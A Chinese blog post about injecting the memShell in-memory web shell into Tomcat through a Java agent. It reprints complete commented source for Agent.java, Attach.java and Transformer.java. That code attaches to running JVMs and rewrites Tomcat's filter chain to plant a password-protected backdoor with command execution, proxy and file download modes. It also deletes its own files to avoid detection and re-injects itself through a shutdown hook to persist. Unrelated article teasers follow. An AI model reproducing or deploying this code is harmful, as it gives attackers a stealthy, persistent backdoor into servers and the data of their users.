tomcat进程注入

news2024/11/18 9:34:00

跟随上一篇《java进程注入》
这里使用memShell
https://github.com/rebeyond/memShell
将agent.jar和inject.jar放到tomcta的web目录下
在这里插入图片描述
然后输入命令注入
效果:
在这里插入图片描述
注入成功后
在这里插入图片描述
可以看到agent.jar文件为了防止发现,自动清除,而且重启电脑之后,内存马不死,继续可以使用

那么memShell分析
主要是下面三个类:
agent.java,Attach.java,Transformer.java
agent.java:

package net.rebeyond.memshell;

import javax.management.MBeanServer;
import javax.management.ObjectName;
import javax.management.Query;
import java.io.*;
import java.lang.instrument.Instrumentation;
import java.lang.management.ManagementFactory;
import java.lang.management.RuntimeMXBean;
import java.net.HttpURLConnection;
import java.net.InetAddress;
import java.net.URL;
import java.util.Arrays;
import java.util.Set;

public class Agent {
    public static String currentPath;
    public static String password = "qiezi";

    public static String className = "org.apache.catalina.core.ApplicationFilterChain";

    public static byte[] injectFileBytes = new byte[]{},agentFileBytes = new byte[]{};

    public static void agentmain(String agentArgs, Instrumentation inst){
        inst.addTransformer(new Transformer(),true);
        if (agentArgs.indexOf("^") >=0){     //字符串的开始位置找元素^找不到是-1.找到进入判断
            Agent.currentPath = agentArgs.split("\\^")[0]; //以^分割字符,返回分割好的字符串数组,然后得到数组第一个元素
            Agent.password = agentArgs.split("\\^")[1];  //以以^分割字符,返回分割好的字符串数组,然后得到数组第二个元素

        }else {
            Agent.currentPath = agentArgs;
        }
        System.out.println("Agent Main Done");
        Class[] loadedClasses = inst.getAllLoadedClasses();  //获得Instrumentation中的所有类
        for (Class c : loadedClasses){  //遍历
            if (c.getName().equals(className)){  //当等于"org.apache.catalina.core.ApplicationFilterChain"时进入if
                try{
                    inst.retransformClasses(c);  //重新加载,为了达到全部监视,像thread类是在java agent加载之前就已经加载了,所以需要再次加载
                }catch (Exception e){
                    e.printStackTrace();
                }
            }
        }

        try {
            initLoad();   //初始化
            readInjectFile(Agent.currentPath);   //读取inject文件
            readAgentFile(Agent.currentPath);    //读取agent文件
            clear(Agent.currentPath);  //清除文件
        }catch (Exception e){

        }
        Agent.persist();   //持久化
    }

    //linux?
    public static void clear(String currentPath) throws Exception{   //清除
        Thread clearThread = new Thread(){   //创建清除线程
            String currentPath = Agent.currentPath;  //当前路径
            public void run(){
                try {
                    Thread.sleep(5000);   //线程等待
                    String injectFile = currentPath + "inject.jar";   //inject文件路径
                    String agentFile = currentPath + "agent.jar";     //agent文件路径
                    new File(injectFile).getCanonicalFile().delete();  //删除injectFiile文件
                    String OS = System.getProperty("os.name").toLowerCase();  //操作系统名
                    if (OS.indexOf("windows") >= 0){
                        try{
                            unlockFile(currentPath);  //windows采取foreceDelete.exe强制清除
                        }catch (Exception e){
                            //pass
                        }

                    }
                    new File(agentFile).delete();   //删除agentFile文件
                } catch (InterruptedException e) {
                    throw new RuntimeException(e);
                } catch (IOException e) {
                    throw new RuntimeException(e);
                }

            }
        };
        clearThread.start();   //开启清除线程
    }

    public static void unlockFile(String currentPath) throws Exception{
        String exePath = currentPath + "foreceDelete.exe";   //文件路径
        InputStream is = Agent.class.getClassLoader().getResourceAsStream("other/forcedelete.exe");  //获取资源输入流
        FileOutputStream fos = new FileOutputStream(new File(exePath).getCanonicalPath());  //标准文件输出流
        byte[] bytes = new byte[1024*100];
        int num =0;
        while ((num = is.read(bytes)) != -1){   //遍历
            fos.write(bytes,0,num);
            fos.flush();
        }
        fos.close();
        is.close();
        Process process = java.lang.Runtime.getRuntime().exec(exePath + " " + getCurrentPid());   //路径 pid
        try{
            process.waitFor();   //线程等待
        }catch (Exception e){
            e.printStackTrace();
        }
        new File(exePath).delete();    //文件删除
    }

    public static String getCurrentPid(){   //获得当前进程pid
        RuntimeMXBean runtimeMXBean = ManagementFactory.getRuntimeMXBean();
        return runtimeMXBean.getName().split("@")[0];
    }

    public static void initLoad() throws Exception{
        MBeanServer beanServer = ManagementFactory.getPlatformMBeanServer();  //创建MBeanServer
        Set<ObjectName> objectNames = beanServer.queryNames(new ObjectName("*:type=Connector,*"), Query.match(Query.attr("protocol"),Query.value("HTTP/1.1")));  //查询
        String host = InetAddress.getLocalHost().getHostAddress(); //根据本机名去/etc/hosts中获取对应ip,一般127.0.0.1
        String port = objectNames.iterator().next().getKeyProperty("port");  //获取端口
        String url = "http" + "://" + host + ":" + port;  //获取url
        String[] models = new String[] {"model=exec&cmd=whoami", "model=proxy", "model=chopper", "model=list&path=.",
                "model=urldownload&url=https://www.baidu.com/robots.txt&path=not_exist:/not_exist" };  //模板
        for (String model : models){  //遍历
            String address = url + "/robots.txt?" + "pass_the_world=" + Agent.password + "&" + model;
            openUrl(address);
        }
    }

    public static void readInjectFile(String filePath) throws Exception{
        String fileName = "inject.jar";    //定义文件名
        File f = new File(filePath + File.separator + fileName);   //创建File类对象,并执行路径
        if (!f.exists()){
            f = new File(System.getProperty("java.io.tmpdir") + File.separator + fileName);  //文件不存在会在操作系统缓存临时目录进行创建
        }
        InputStream is = new FileInputStream(f);   //文件输入流
         byte[] bytes = new byte[1024*100];  //设置数组大小
         int num = 0;
         while ((num = is.read(bytes)) != -1){    //一行行读取然后赋值给num,值存在时候进入判断
             agentFileBytes = mergeByteArray(injectFileBytes, Arrays.copyOfRange(bytes,0,num)); //Arrays.copyOfRange(bytes,0,num) 第一个参数为要拷贝的数组,第二个参数为拷贝的开始位置(包含),第三个参数为拷贝的结束位置(不包含)
         }
         is.close();
    }

    static byte[] mergeByteArray(byte[]... byteArray){
        int totalLength = 0;    //定义整体长度
        for (int i = 0;i < byteArray.length;i++){       //遍历
            if (byteArray[i] == null){   //为空时候继续
                continue;
            }
            totalLength += byteArray[i].length;  //每个值长度相加,为总长度totalLength
        }

        byte[] result = new byte[totalLength];    //新建大小为totalLength的数组
        int cur = 0;
        for (int i = 0; i < byteArray.length;i++){
            if (byteArray[i] == null){
                continue;
            }
            System.arraycopy(byteArray[i],0,result,cur,byteArray[i].length);
            //数组之间的复制  arraycopy(Object src, int srcPos, Object dest, int destPos, int length)
            //src:源数组  srcPos:源数组要复制的起始位置 dest:目的数组 destPos:目的数组放置的起始位置 length:复制的长度
            cur += byteArray[i].length;
        }
        return result;   //返回复制后的数组

    }
    public static void openUrl(String address) throws Exception{
        URL url = new URL(address);
        HttpURLConnection urlcon = (HttpURLConnection) url.openConnection(); //获取连接对象,并无创建连接
        urlcon.connect(); //建立连接
        InputStream is = urlcon.getInputStream();  //获取输入流
        BufferedReader buffer = new BufferedReader(new InputStreamReader(is)); //字符流读取
        StringBuffer bs = new StringBuffer();  //创建一个 StringBuffer 对象
        String l = null;
        while ((l=buffer.readLine())!=null){  //buffer.readLine()每次读取一行数据
            bs.append(l).append("/n");  //不为null时,加入
        }
    }

    public static void persist(){
        try {
            Thread t = new Thread(){
                public void run(){
                    try {
                        writeFiles("inject.jar", Agent.injectFileBytes);
                        writeFiles("agent.jar",Agent.agentFileBytes);
                        startInject();
                    } catch (Exception e) {
                        throw new RuntimeException(e);
                    }
                }
            };
            t.setName("shutdown Thread");
            Runtime.getRuntime().addShutdownHook(t);
            //这个方法是在jvm时候增加一个关闭的钩子,当jvm关闭的时候,会执行系统中已经设置的所以通过方法addshutdownhook添加的钩子,当系统执行完这些钩子后,jvm才会关闭
        }catch (Exception e){

        }
        }


    public static void startInject() throws Exception{
        Thread.sleep(2000);
        String tempFolder = System.getProperty("java.io.tmpdir");  //获取操作系统缓存临时目录
        String cmd = "java -jar" + tempFolder + File.separator + "inject.jar" + Agent.password;  //File.separator相当于'/'
        Runtime.getRuntime().exec(cmd);

    }



    public static void writeFiles(String fileName,byte[] data) throws Exception{
        String tempFolder = System.getProperty("java.io.tmpdir");  //获取系统缓存临时目录
        FileOutputStream fso = new FileOutputStream(tempFolder + File.separator + fileName); //文件输出流
        fso.write(data);
        fso.close();
    }

    public static void main(String[] args) {
        try{
            readAgentFile("e:/");
            String tempPath = Attach.class.getProtectionDomain().getCodeSource().getLocation().getPath();  //Attach类的绝对路径
            String agentFile = Attach.class.getProtectionDomain().getCodeSource().getLocation().getPath().substring(0,tempPath.lastIndexOf("/"));
        }catch (Exception e){
            e.printStackTrace();
        }


    }

    public static void readAgentFile(String filePath) throws Exception{
        String fileName = "agent.jar";   //定义文件名
        File f = new File(filePath + File.separator + fileName);   //创建File类对象,指定路径
        if (!f.exists()){
            f = new File(System.getProperty("java.io.tmpdir")+File.separator+fileName);   //文件不存在会在操作系统缓存临时目录进行创建
        }
        InputStream is = new FileInputStream(f);
        byte[] bytes = new byte[1024 * 100];
        int num = 0;
        while ((num = is.read(bytes)) != -1){
            agentFileBytes = mergeByteArray(agentFileBytes,Arrays.copyOfRange(bytes,0,num));   //复制数组
        }
        is.close();
    }

}

Attach.java

package net.rebeyond.memshell;

import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;

import java.io.File;
import java.io.IOException;
import java.util.List;

public class Attach {
    public static void main(String[] args) throws IOException {
        if (args.length!=1){
            System.out.println("Usage:java -jar inject.jar password"); //当长度未达到1时候,说明没有输入password,提示
            return;
        }
        VirtualMachine vm = null;   //定义虚拟机vm
        List<VirtualMachineDescriptor> listAfter = null;  //一个描述虚拟机的容器类,配合VirtualMachine类完成各种功能
        List<VirtualMachineDescriptor> listBefore = null;
        listBefore = VirtualMachine.list();
        String password = args[0];    //和刚开始说的一样,args的第一位是password
        String currentPath = Attach.class.getProtectionDomain().getCodeSource().getLocation().getPath();  //执行.class文件,得到当前class的绝对路径,若是jar包就是得到jar的绝对路径
        currentPath = currentPath.substring(0,currentPath.lastIndexOf("/")+1); //返回获得路径  lastIndexOf("/")+1取得是/最后一次出现的后一位,也就是
        String agentFile = currentPath + "agent.jar"; //总路径
        agentFile = new File(agentFile).getCanonicalPath();  //getCanonicalPath()规范路径
        String agentArgs = currentPath;
        if (!password.equals("")||password!=null){
            agentArgs = agentArgs + "^" + password;
        }

        while (true){
            try{
                listAfter = VirtualMachine.list();
                if (listAfter.size() <= 0){
                    continue;
                }
                for (VirtualMachineDescriptor vmd : listAfter){    //遍历
                    if (!listBefore.contains(vmd)){   //如果 VM 有增加,我们就认为是被监控的 VM 启动了
                        VirtualMachine.attach(vmd);  //附加
                        listBefore.add(vmd);  //添加
                        System.out.println("[+]OK.i find a jvm.");
                        Thread.sleep(1000);
                        if (null != vm){
                            vm.loadAgent(agentFile,agentArgs);  //Attach API 远程加载
                            System.out.println("[+]memeShell is injected.");
                            vm.detach();  //jvm上删除一个代理
                            return;
                        }
                    }
                }
                Thread.sleep(5000);
            }catch (Exception e){
                e.printStackTrace();
            }

        }
    }
}

Transformer.java:

package net.rebeyond.memshell;

import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class Transformer implements ClassFileTransformer {


    @Override
    public byte[] transform(ClassLoader loader, String s, Class<?> aClass, ProtectionDomain protectionDomain, byte[] bytes) throws IllegalClassFormatException {
        if ("org/apache/catalina/core/ApplicationFilterChain".equals(s)){
            try{
                Class a = Class.forName("javassist.CtClass"); //javassist是一个能处理Java字节码的类库,使用Javassist.CtClass来表示一个class文件,所以说CtClass类就是用来处理class文件的
                ClassPool cp = ClassPool.getDefault();  //ClassPool是CtClass对象的容器
                CtClass cc = cp.get("org.apache.catalina.core.ApplicationFilterChain"); //获得ApplicationFilterChain类
                CtMethod m = cc.getDeclaredMethod("internalDoFilter"); //获得方法
                m.addLocalVariable("elapsedTime",CtClass.longType); //定义属性,一个long类型的属性,名为elapsedTime
                m.insertBefore(readSource());  //通过insertBefore插入到方法内容的开始处
                byte[] byteCode = cc.toBytecode();  //转成字节类文件
                cc.detach();  //jvm上删除一个代理
                return byteCode;  //返回字节
            }catch (Exception e){
                System.out.println("error:"+e.getMessage());
            }
        }
        return null;
    }

    public String readSource(){
        StringBuilder source = new StringBuilder();  //创建空对象source
        InputStream is = Transformer.class.getClassLoader().getResourceAsStream("source.txt");   //类加载器从当前路径下的source.txt中加载资源
        InputStreamReader isr = new InputStreamReader(is);  //文件字节输入流,获取配置文件中内容
        String line = null;
        BufferedReader br = new BufferedReader(isr);  //文件缓存输入流
        try{
            while ((line=br.readLine()) != null){  //遍历添加
                source.append(line);   //将读出来的数据添加
            }
        }catch (Exception e){
            e.printStackTrace();
        }

        return source.toString();   //返回值
    }
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/692128.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【Python数据分析】Python中axis的理解

axis用来为超过一维的数组定义属性。 理解时从数据变化的方向入手&#xff01; 以二维数据为例&#xff0c;在二维数据中&#xff0c;1表示横轴&#xff0c;方向从左到右&#xff1b;0表示纵轴&#xff0c;方向从上到下从数轴的方向入手&#xff0c;理解数据变化&#xff0c;a…

测试这碗饭,你还拿得稳吗?

今年测试行业格外寒冷&#xff0c;大部分人为了糊口饭吃&#xff0c;紧紧地捂住了本来已经很嫌弃的饭碗&#xff0c;以便挺过寒冬迎接春天。 公司天天加班&#xff0c;新出了各种扣款制度&#xff0c;为了上老下小我忍了。 2022年度的绩效&#xff0c;2023年都要过完了&#xf…

Windows同时安装两个版本JDK,并实现动态切换

1、载安装两个版本的JDK 安装后&#xff0c;默认路径C:\Program Files\Java。 实际上JDK8有两个包一个jdk1.8.0_311&#xff0c;一个jre1.8.0_311。 JDK11只有一个jdk-11.0.16.1。 2、系统环境配置 设置JAVA_HOME 在环境变量中选中Path&#xff0c;点击编辑 点击新建&…

DARAZ使用虚拟信用卡购物教程

Daraz为阿里巴巴南亚电商平台&#xff0c;市场覆盖巴基斯坦、孟加拉、斯里兰卡、尼泊尔和缅甸超过5亿人口级别市场&#xff0c;是南亚地区最受欢迎的在线购物网站&#xff0c;购物APP NO.1。 注册一个DARAZ的买家账号。 找到需要购买的商品&#xff0c;点击Buy Now进行购买 填…

Sip通话,qq通话,微信通话,普通的通话的条件和过程描述

SiP通话 SIP电话是基于SIP&#xff08;Session Initiation Protocol&#xff0c;会话初始化协议&#xff09;协议实现的通信。SIP是一种应用层协议&#xff0c;用于建立、修改和终止多媒体会话&#xff0c;如语音通话、视频通话等。SIP电话通过SIP协议进行信令交换和媒体流传输…

【MySQL学习笔记】(二)MySQL操作库基础

库的操作 1 创建数据库2 关于字符集和校验规则2.1 查看系统字符集以及校验规则2.2 查看数据支持的字符集2.3 查看数据库支持的字符集校验规则3 删除数据库4 查看并使用数据库5 修改数据库6 查看连接情况7 备份和恢复 1 创建数据库 1&#xff09;创建数据库 在学习笔记&#xf…

ChatGLM-6b本地安装手把手教学

什么是ChatGLM-6B ChatGLM-6B 是一个开源的、支持中英双语的对话语言模型&#xff0c;基于 General Language Model (GLM) 架构&#xff0c;具有 62 亿参数。结合模型量化技术&#xff0c;用户可以在消费级的显卡上进行本地部署&#xff08;INT4 量化级别下最低只需 6GB 显存&…

Redis【入门篇】---- Redis的Java客户端-SpringDataRedis

Redis【入门篇】---- Redis的Java客户端-SpringDataRedis 1. 快速入门1. 导入pom坐标2. 配置文件3. 测试代码 2. 数据序列化器3. StringRedisTemplate4. Hash结构操作 SpringData是Spring中数据操作的模块&#xff0c;包含对各种数据库的集成&#xff0c;其中对Redis的集成模块…

网络安全|渗透测试入门学习,从零基础入门到精通—静态分析技术详解

目录 前言 1、文件类型分析 2、反汇编引擎 2.1、OllyDbg的ODDisasm 2.2、BeaEngine 2.3、Udis86 2.5、AsmJit 2.6、Keystone 2.7、小结 前言 用高级语言编写的程序有两种形式。一种程序是被编译成机器语言在CPU上执行的&#xff0c;例如Visual C。机器语言与汇编语言几乎…

【Docker】docker启动oracle11g并初始化数据,部署和使用

前提&#xff1a;已经在docker中安装好Oracle 1.启动docker&#xff1a; docker run --name oracle11 -p 1521:1521 -e ORACLE_ALLOW_REMOTEtrue -e ORACLE_PWDoracle -d oracleinanutshell/oracle-xe-11g出现问题&#xff0c;请查看&#xff1a;Exited 139解决Window下docke…

web漏洞-反序列化之JAVA全解(38)

首先第一个就是概念。第二个是他的利用&#xff0c;一个好用的工具ysoserial&#xff0c;主要用来生成工具的paload&#xff0c;修复大差不差。 #概念&#xff1a;我们有时候需要保存某一个对象的信息&#xff0c;会进行一些操作&#xff0c;类似于反序列化&#xff0c;序列化…

Mysql 逗号‘,’拼接的字符串怎么查询包含的匹配数据?

上数据 &#xff1a; 可以看到sn 存储的方式的逗号拼接的方式。 那么怎么去做sn这个字段的匹配查找呢&#xff1f; ① like &#xff08;不考虑&#xff09; 首先 like 是不行的&#xff0c; 除非你能保证 你的 逗号拼接这里面的数据不包含 重复的值&#xff0c; 比如 1 和…

Unreal 5 实现骨骼网格体转静态网格体顶点动画

如果需要大批量的渲染具有动作的模型&#xff0c;如果使用骨骼网格体渲染模型&#xff0c;量级上去以后&#xff0c;性能肯定扛不住的。如果需要实现大批量的渲染相同的带有动画的模型&#xff0c;我们需要实现将骨骼网格体烘焙成静态网格体&#xff0c;然后将骨骼网格体动画转…

D. Dot(思维+记忆化搜索dfs)

翻译&#xff1a; D. 点 时间限制&#xff1a;3秒 内存限制&#xff1a;256兆字节 输入&#xff1a;标准输入 输出&#xff1a;标准输出 Anton和Dasha喜欢在棋盘纸上玩不同的游戏。到11年级时&#xff0c;他们成功玩过了所有这类游戏&#xff0c;并请程序员Vova想出一个新…

基于 Leaflet 的缩放功能:在最后一层瓦片缺失时进行优化

这里写自定义目录标题 第一种方式第二种方式第三种方式 引言&#xff1a;Leaflet 是一个广泛使用的开源 JavaScript 库&#xff0c;用于创建交互式、可定制的地图应用程序。在 Leaflet 中&#xff0c;默认情况下&#xff0c;瓦片地图是通过切分成多个瓦片来展示的&#xff0c;这…

华为防火墙之NAT技术

1.源NAT 源NAT技术对IP报文的源地址进行转换&#xff0c;将私网IP地址转换成公网IP地址&#xff0c;使大量私网用户可以利用少量公网IP地址访问Internet&#xff0c;大大减少了对公网IP地址的消耗。 源NAT转换的过程如下图所示&#xff0c;当私网用户访问Internet的报文到达防…

Ubuntu终端最大化的3种方法

摘要&#xff1a;Ubuntu 系统下&#xff0c;使用Ctrl Alt T 快捷键唤醒终端时默认大小为 80 列 x 24 行。在某些测试中我们需要更大的窗口&#xff0c;而通过鼠标将窗口最大化太慢了&#xff0c;所以本文介绍了快速实现终端窗口最大化的 3 种方法。 声明&#xff1a;本文所有…

java安全——Java 默认沙箱

Java安全 Java 默认沙箱 程序设计者或者管理员通过改变沙箱的参数从而完成权限的变动更新 Java默认沙箱的设计目的是为了保护系统和用户的安全。Java虚拟机提供了一种机制&#xff0c;让Java应用程序在一个受限的环境中运行&#xff0c;也就是“沙箱”。这个沙箱能够在应用程序…

微信支付证书过期了怎么办

什么是商户API证书&#xff1f;如何获取商户API证书&#xff1f; 微信原文档&#xff1a;https://kf.qq.com/faq/161222NneAJf161222U7fARv.html 注&#xff1a;正常情况下&#xff0c;微信商户平台的密钥不需要更新重置&#xff0c;站点妥善保存密钥&#xff0c;定期更新证书即…

【adb指令】

一、什么是adb adb的全称为Android Debug Bridge&#xff0c;官方提供的用于操作安卓设备的工具。 二、adb用来干什么&#xff1f; 在电脑终端通过命令行&#xff1a; 打开收手机应用&#xff1b;传输文件&#xff1b;点击、输入、滑动等&#xff1b;硬件操作、返回、回到首…